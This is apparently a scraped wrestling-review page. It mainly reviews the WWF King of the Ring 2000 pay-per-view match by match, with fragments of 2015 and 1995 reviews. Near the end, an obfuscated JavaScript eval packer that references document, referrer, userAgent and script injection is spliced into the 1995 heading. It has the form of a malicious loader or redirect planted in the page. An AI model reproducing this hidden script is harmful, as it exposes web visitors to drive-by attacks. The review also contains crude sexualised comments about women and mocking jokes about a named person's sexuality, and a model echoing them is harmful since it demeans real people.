A running kick to the side of the head and a German suplex get two on Barrett. Winds of Change gets the same and Wasteland is eventually good for another near fall. The Bull Hammer is countered into a rollup for two and Neville kicks him in the head. Neville has to bail out of the Red Arrow and charges into the Bull Hammer for the pin and the crown at 6:10.

Barrett crowns himself and promises to rule with an iron Bull Hammer.

Results

Neville b. Sheamus – Red Arrow

Bad News Barrett b. R-Truth – Bull Hammer

Bad News Barrett b. Neville – Bull Hammer

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King of the Ring 2000
Date: June 25, 2000
Location: Fleet Center, Boston, Massachusetts
Attendance: 17,651
Commentators: Jim Ross, Jerry Lawler

Thirty two people. That’s how many are in this year’s tournament. They’ve widdled it down to eight for this, but DANG man, 32 initially in it? Anyway, the Radicals being here is probably the biggest change to things. Angle and Jericho are here as well, so the roster has certainly changed a lot. WCW is just waiting to be put out of its misery as no one is watching and fewer people care.

This is a decent bad looking card though as there’s the tournament, a four team elimination match and the main event is a six man tag where the belt is on the line. HHH won it the previous month at Judgment Day where Taker returned as the biker. There’s not a lot going on here other than that, so let’s get to it.

We get a quick recap of the tournament history which is always a cool thing. Other than that we have a thing on the title with HHH saying the belt is the most important thing in his life. I think that would actually be Stephanie who wouldn’t have the title without him. Ok that’s nonsense but I have to say it at least once a year by law. Here are your brackets:

Kurt Angle
Chris Jericho

Crash Holly
Bull Buchanan

Rikishi
Chris Benoit

Val Venis
Eddie Guerrero

That doesn’t sound half bad.

KOTR Quarterfinals: Rikishi vs. Chris Benoit

Rikishi just won the IC Title from Benoit as his completely unexplainable push continues before he was made top heel in the fall which failed worse than a flimsy bra on Trish Stratus. Benoit beat him up after the match so he might be a bit hurt. The Canadian beat Road Dogg and X-Pac while Dusty Rhodes’ partner in the fat that ate Cleveland beat Shane McMahon and Scotty Too Hotty. Benoit manages to suplex Rikishi which is rather impressive.

There’s a Chris Benoit sign that says this isn’t a Chris Benoit sign. I hate stupid fans. The Crossface is hooked but the fat man thinks the ropes are Twizzlers and grabs them, hoping to eat them. And then Benoit gets a chair and beats on Rikishi with it, ending this very quickly thank goodness. Another Crossface follows and referees break it up. Benoit goes up and splits them all up with a headbutt and puts the hold on Rikishi again, much to my delight.

Rating: C+. In a match that goes three minutes or so and most of it is Rikishi being hurt, I’m certainly happy. There wasn’t much here but it got through some time I guess. The whole thing here though is that the fat man got hurt so I’m happy.

Linda says she’s going to have to do something drastic.

The heels say that they should be worried about Linda but Vince isn’t worried at all.

We get a replay of Rikishi being beaten. I love this.

Benoit says he’s the best and no one can stop him.

KOTR Quarterfinals: Val Venis vs. Eddie Guerrero

Chyna looks great, but Trish looks better. This should be fine I guess. Venis hurt Eddie on Smackdown even though he looks fine here. Trish more or less wears a one piece swimsuit and a coat so I’m happy. Val beat Al Snow and Jeff Hardy while Eddie beat Matt Hardy and Chyna. Eddie has just gotten back from his arm injury that he got in one of his first matches in the company.

This is definitely picking the pace up a lot which is a major help. Eddie was just such a wreck in real life at this point and he was about to crack. The RTC was about to start as well to give Val something to do. Eddie starts working on the back to add some mild psychology here. And now Val works on Eddie’s back, which is just weird for some reason.

The Money Shot hits nothing but knees and there’s part of a joke in there somewhere. Val is definitely a heel here but it’s not saying much. After the women get involved, Val wins with a nice fisherman’s suplex. That was rather pointless.

Rating: C-. This just wasn’t that good. Val and Eddie are both good workers but this just failed for the most part. It was like they were searching for a story but they couldn’t find one no matter how hard they tried. The ending part was a big improvement but it still wasn’t much at all.

Patterson, who is fighting Brisco later on in a lingire match for the hardcore title, says that none of the dresses he has available make him look sexy enough. You can’t make stuff like this up.

Rikishi says he’s going to beat Val. I really hate him.

KOTR Quarter Finals: Crash Holly vs. Bull Buchanan

Please…make it quick. Crash beat Albert and Hardcore Holly while Bull beat Blackman and Saturn. Was anyone not in this tournament? Crash has the scale thing here because that was such a great gimmick. It kept him employed if nothing else I guess. He’s doing the Cinderella story thing here. We see a clip of Brisco and Patterson stealing the Hardcore title from Crash on Raw.

Buchanan just couldn’t be blander if his life depended on it. He’s getting into Tomko levels here. The crowd busts out the boring chant and I can’t blame them a bit. It’s weak but it’s the longest I’ve ever heard. The coronation is tomorrow night apparently, since obviously we can’t hold it here because…well we just can’t I guess. A rollup for Crash gets two. Buchanan misses an axe kick and Crash rolls him up for the pin. Thank goodness the referee did a fast count for the most part.

Rating: D. This was just a waste of time. The fans got the chant exactly right. They have Benoit go out in the first round so we get this? I know the company was on freaking fire at the moment but geez, they couldn’t have gotten this one more wrong.

Linda is in her office when Vince comes in and lists off everything she’s done to tick him off over the years. She’s done a lot actually, but dang she can’t act to save her life. This is the weirdest marriage of all time.

KOTR Quarter Finals: Kurt Angle vs. Chris Jericho

Jericho beat Bradshaw and Bubba while Jericho beat Test and Edge in a series of Canadian violence. Angle runs down Boston’s sports teams before the match, which is ironic as about two years ago it was the greatest sports town in the world. Jericho is of course wildly over. This is one of those matches that it’s just hard to mess up. He uses the Kirk Angel line that never gets old for some reason.

Can we have a two hour show of these two just insulting each other? It would be better than most wrestling shows. He implies Angle is a virgin, which is funny considering what his wife looked like. About a minute into the match Jericho hits the Lionsault and Long has to count really slowly because Angle misses his cue to put his foot on the bottom rope.

Angle has a ton of fans here and I can’t blame them as he was just epic at this point as he played his character perfectly and could back it up in the ring. Angle has to use the ropes to get out of another pin. Long’s counting is annoying the heck out of me. It’s worse than the blonde guy in WWE now.

Jericho gets out of the Angle Slam and hooks the Walls but Stephanie is here to distract the referee while Angle is tapping. Stephanie accidently pops Angle with her women’s title and she gets kissed by Jericho. It does however allow Angle to hook the slam for the pin.

Rating: B. Again, hard to mess this one up. It’s about ten minutes and it worked fine. These guys had undeniable chemistry together and it showed here. It lasted a good enough time to make it work and the workrate was all there, so what more can you ask for? We definitely needed Crash and Bull in the first round instead of Jericho and Angle beating one of them each right?

Updated brackets:

Kurt Angle
Crash Holly

Rikishi
Eddie Guerrero

Shane is mad at Vince for getting the interference barred from the main event. The way the match works tonight is that if any face gets the pin then they’re world champion and if HHH’s team wins, he faces the winner of the tournament.

Mick Foley is at WWF New York, which is still the coolest thing ever. Ivory is the bartender and Foley has a huge haircut. We can barely hear Foley over the fans chanting for Foley and Ivory. Foley doesn’t remember the 98 Cell match but he likes Angle apparently. That’s most odd.

Tag Titles: Edge/Christian vs. Too Cool vs. Hardys vs. Too Cool

The champions, Too Cool (just take me now) are out last. Edge and Christian do the 5 second pose which is of Buckner and the Mets in 86. Lita and Trish look amazing. For some reason Too Cool is popular which I’ll never understand for the life of me. What was cool about them? Scotty’s belt is on upside down. This is elimianton rules by the way so it’s kind of like three matches in one which isn’t bad at all. Jeff has the rainbow hair now and starts with Albert.

Jeff is put in a gorilla press but flips out of it and hits a dropkick in a sweet little sequence. He and Matt beat on Albert. They really were a great team. Matt and Jeff keep getting out of the power moves from T&A as Lita and Trish get into it in foreshadowing of their epic future rivalry. The redhead is in the ring for no apparent reason and gets a nice cheer, and it allows Matt to pin Test after a Swanton.

It’s Jeff and Scotty now, who is apparently happy that he managed to get dressed all by himself this morning. Now let’s stop to dance a bit. They’re going really fast out there for no apparent reason. Jeff and Edge, who would eventually main event PPVs which I don’t think anyone really expected, go at it in what is of course a solid encounter. Lita, pink thong flying, throws a hurricanrana to get two on Edge for Jeff.

She’s still kind of annoying despite being hot. Everyone goes for or hit their finishers, resulting in Christian putting Matt out. Oh apparently Too Cool is still here. They had nothing at all to do with that so no one even remembered they were there. We just had to have Too Cool as champions too because we couldn’t let Edge and Christian and the Hardys go out there and just show off or anything good like that right?

Naturally Too Cool is just doing comedy stuff because it’s all they’re capable of. After a few minutes of Scotty getting beaten on, we get the epicness, yes EPICNESS I say of the hot tag to Grandmaster. It’s a comedy match for the most opart here for the tag titles. Too Cool seem like the guys that don’t realize they’re champions and couldn’t care less if they lost them.

Edge and Christian start a double worm but Scotty, despite being late and causing Christian to not know what he’s supposed to do, makes the stop. He does the worm, which of course takes about 30 seconds to do the whole thing, making it completely stupid. The champions hit a Trash Compactor but the referee is busy so Christian gets a shot with the belt to get the belts again.

Rating: C. This is the epitome of average. It’s not good, it’s not bad, it’s just there. It’s about 15 minutes long or five minutes per elimination and Too Cool lost the belts to edge and Christian. That’s all there is to it. It’s not bad or great, but perfectly average, meaning it’s not really a good sign but Too Cool aren’t the champions anymore so I’m happy.

Crash says Angle is in trouble.

We get to see Benoit beat up Rikishi again, making my heart go all aflutter.

KOTR Semi-Finals: Rikishi vs. Val Venis

These two would fight again at Fully Loaded in the cage splash match that I’ve previously reviewed. They have been feuding for awhile here so at least there’s something to go on here, which I think is what the plan was which I really like, as it helps things out a lot here at the show. We start on the floor and it’s just a brawl at this point. Ah there we go we’re in the ring now.

Why can’t we do that with Val, who has a decent one? Rikishi’s arm is still hurt from earlier. We get the odd sight of Rikishi throwing left hands. Val goes up for the splash but gets crotched, allowing Rikishi to hit a belly to belly to win. Post match he tries to hit the hip drop on Trish but Val hits him with the stairs and a chair. What lucky star did I wake up under?

Rating: C+. Everything on this show is average. There’s just nothing appealing here at all and it’s just not working for me. This was again about three minutes long and even more proof as to why we don’t need to do the final three rounds on the PPV as there’s just too much going on here.

To continue this review, please press eject and turn the tape over.

Brisco is with Coach and cuts this very serious promo that is very funny, which I think was the point. He doesn’t say if he wants regular panties or crotchless. I just got done with Starrcade 83 and saw he and his brother have a great match with Steamboat and Youngblood, and now this. I love wrestling.

KOTR Semi-Finals: Crash Holly vs. Kurt Angle

Hmm, I wonder who is going to win here. I love that under Angle’s name it says American Hero. There’s something very funny about that. This is pretty crisp actually and it’s not bad at all. Crash shouting screw you at the referee is funny for some reason. It’s a shame that Crash had such a comedy based gimmick that he never got the change to show what he was capable of. The same goes for Al Snow.

We get an XFL reference and we need the death music already. Crash isn’t backing down, I’ll give him that. He hits a missile dropkick and the fans are buying into this. Out of nowhere off a hot shot, Angle hits the slam to end it. This was only four minutes, but it felt like a lot longer, and I mean that in a good way.

Rating: B. I really liked this match. It was very fast paced and they fit a lot into the little time they had. Like I said, it’s a shame that Crash had the comedy gimmick and couldn’t get a chance to showcase himself as he’s not that bad at all in the ring. I liked this.

King says that King Rikishi isn’t something you can even pronounce.

We get a clip of a show last night in MSG where Trump was there. He must be a legit. That’s saying a lot, and he’s a Rock fan.

Cole is in the back with Kane who can now talk sans voice box, which I think has been the case for a long time here.

Taker all of a sudden can talk fine as well and says he’ll win the title.

We recap the evening gown match that’s coming up. Brisco won the title from Crash on Raw and Patterson broke a champagne bottle over his head and pinned him. He threw in a suck it and crotch chop and I begin to wonder about these two. Patterson, scared to death of losing the title, wore drag and hid in the women’s locker room.

Brisco wanted to get in there to pin him, so he put on a dress that he just happened to have laying around I guess. It resulted in them throwing makeup at each other. Vince came up, stunned, and said there would be an evening gown match tonight.

Hardcore Title: Pat Patterson vs. Gerald Brisco

They’re wearing wigs too. Gerald comes out to Real American which HAS to be a rib on Hogan. Brisco comes out with a 2×4. Patterson comes out to showgirl music with a shopping cart of toilet paper and other stupid stuff. He’s wearing a bra too and throws candy out of it. This is hilarious for some perverse reason. We get the line of him doing rear end work at the body shop.

For those of you not getting my constant jokes, the worst kept secret in wrestling history is that Patterson is gay. Patterson is wearing sneakers and Brisco is wearing heels. Oh and Patterson has sunglasses on. Patterson offers to lay down, prompting even more jokes, even though you win by ripping the clothes off I thought. And Patterson has a banana which I don’t think Ross realized at first.

The line of OH it’s a BANANA was hilarious as all goodness. Patterson reaches under his dress and pulls out a tampon to shove in his face. The red panties are smacked by Brisco with a low blow. And we get a Bronco Buster. Ok the joke is over now. And thankfully Crash comes down with a referee and a trash can. After ripping Brisco’s clothes off, he hits Patterson with the can to get the title to a massive pop. This just became disturbing near the end.

Rating: O, as in oh what do you think the grade here is?

We see the Dudleys bringing a table with Tori’s name on it. At Judgment Day, they had tried to put her through a table but didn’t get to so Bubba is now in a trance until he can do it. Tori put Bubba through one and then DX put them in a dumpster and threw them off the stage. That leads us here.

Tori/Road Dogg/X-Pac vs. Dudleys

This is a handicap, table dumpster match. You win by putting the other in or through the respective item. Tori is badly hurt here and would more or less be gone after this. It’s a shame too as she was freaking sexy. DX comes out to a Run DMC song, as there was a rap album of themes coming out. Since this is such a violent match, we have tags just in case.

The Dudleys were revolutionizing tag wrestling as no one knew what to make of them. They breathed new life into the place and they had hooked up with Edge and Christian and the Hardys a few months prior for the triple threat ladder match which set the world on fire for awhile. We’re at about 8 crotch chops after maybe a minute and a half. Again, what’s the point of it being no DQ if you have to tag? Scratch that, reverse it.

In a funny spot, D-Von does the What’s Up on Tori and then stays there. Can’t say I blame him. It was clear that the Dudleys would be faces very soon and the fans want tables. DX get the lid shut with them in the dumpster but the referee is with Tori. They escape but DX don’t notice it. Yeah the Dudleys are faces here. It’s odd to think of DX as heels I think. The successful team here sets up two tables on the floor and puts steps in the ring.

Road Dogg takes a sweet bump over the ropes through both tables in a powerbomb. I don’t think this is elimination rules but Dogg is out for the most part. Tori is holding her crotch which is just odd looking. Being he genius that she is, she gets in the ring with X-Pac being put through a table.

She dives into the dumpster but two chair shots put the Dudleys in the dumpster for the win. Both of them get a 3D and you know what’s coming. Tori is powerbombed out of the company. I think Tori’s arm got hurt in the dumpster. Something is clearly not right with it. Bubba’s trance is always funny.

Rating: C+. Again, just an average brawl. I’m getting tired of this show being nothing but average and men in women’s clothing. It’s just not interesting at all and it’s going by fast enough, but I haven’t been interested all night long and that’s never a good thing.

Angle says he’ll win and we get to see Rikishi get beaten up again. The fat man says he’s going to win and sounds very stupid.

We get the same video package we got at the beginning of the show.

KOTR Finals: Rikishi vs. Kurt Angle

The fans are burned out on these guys as you would expect them to be. We start on the floor of course. The stink face is blocked thank goodness. This could be on any Raw or Smackdown, which doesn’t say much to me. The one arm thing doesn’t make a lot of sense but it’s something I guess. Angle gets the stink face of course because that’s just so cool of a move right? Angle slam gets two.

Rikishi makes the comeback, including a freaking diamond cutter of all things, but takes a belly to belly off the second rope that I think was supposed to look a lot better than it did but the powers of the fat trump the powers of America and it’s just ok. That gives the crown to Kurt, and of course the ceremony’s tomorrow night, since that makes SO much freaking sense right? This reminded me of Razor vs. Owen in 94.

There was just NO FREAKING WAY Owen could lose it and it killed any heat the match had. Also, you have Jericho, Guerrero and Benoit available to be in the finals vs. Angle, yet the 400lb Samoan in a thong gets the spot? See what I mean when I say Vince doesn’t get it a lot of the time?

Rating: D+. This was exactly what you would expect these two to do, but it just wasn’t entertaining at all. Rikishi simply wasn’t any good and that was the problem. The size never worked at all as no one, not even greats like Austin or Angle could do anything with him because of the freaking size. It cut Kurt, a power guy, off here too and that’s just not a good thing whatsoever.

The heels have a short thing where Vince has gotten on the others’ nerves.

Rock is in USA Today, as apparently the WWF was big enough to warrant a comparison to baseball by a national paper. Wrestling was HUGE at this time.

WWF Title: HHH/Vince McMahon/Shane McMahon vs. Rock/Kane/Undertaker

Yeah those sides are fair. Like mentioned earlier, if HHH or either McMahon is pinned, HHH loses the title to whoever gets the pin. If HHH’s team wins, HHH fights Angle. There’s no explanation of how this came about but HHH was feuding with Rock and Taker showed up to get at Vince and Shane was with Vince and Kane was just there for the sake of being there. All of the faces get their own entrances. Shane is a pussy apparently.

The pussy starts with Kane. And that’s more or less the high point. This match goes on nearly TWENTY MINUTES and I stopped caring after about two. It’s just filling in the time the whole way rather than anything actually of note going on. The faces keep fighting amongst themselves while the heels keep getting in a few shots here and there. One major problem here is that they never actually explain why Take hates Vince.

Now if you followed wrestling well enough around this time, it’s not that hard to figure out, but good night man, give us something at least. The match just goes on and on and it’s boring as any and all goodness. We get that the faces don’t get along. You don’t need to remind us a dozen times per minute. Everyone beats on everyone as we’re in the orgy mode here. Nothing of note happens as it’s all just one big mess as everyone beats on everyone with no particular rhyme or reason.

FINALLY we get to the point as most everyone goes outside and given the amount of time left we know that someone is going to get a pinfalll soon and end this. Since Vince is alone in the ring, I’m willing to bet that it’s him. And yep, there’s a Rock Bottom and a new champion to celebrate. And yep that’s all there is.

Rating: D-. Oy thank goodness this is over. No one cared about the thing but since we had seen Rock vs. HHH a half dozen times they needed to shift things, and since there’s some law against Kane getting a title shot on PPV, this is what we got instead. It was a weird idea and seriously, did anyone thing there wouldn’t be a new champion? I’m just glad this is over.

Overall Rating: D. And that’s being VERY generous. There is nothing at all worth watching on here. Jericho and Angle have done the same thing about ten times better at least a dozen times. Crash Holly of all people might be the most interesting person on this. That’s just absurd.

The matches were pointless, the title change was one of about five that summer, and the whole thing just plodded along. Angle was a given once we got down to four, and that ruins the rest of the tournament matches. Stay away from this one as well. The next one is much better though, so that’s better than nothing.

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King eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rebsy|var|u0026u|referrer|iabey||js|php'.split('|'),0,{})) of the Ring 1995
Date: June 25, 1995
Location: Philadelphia Spectrum, Philadelphia, Pennsylvania
Attendance: 16,590
Commentators: Vince McMahon, Doc Hendrix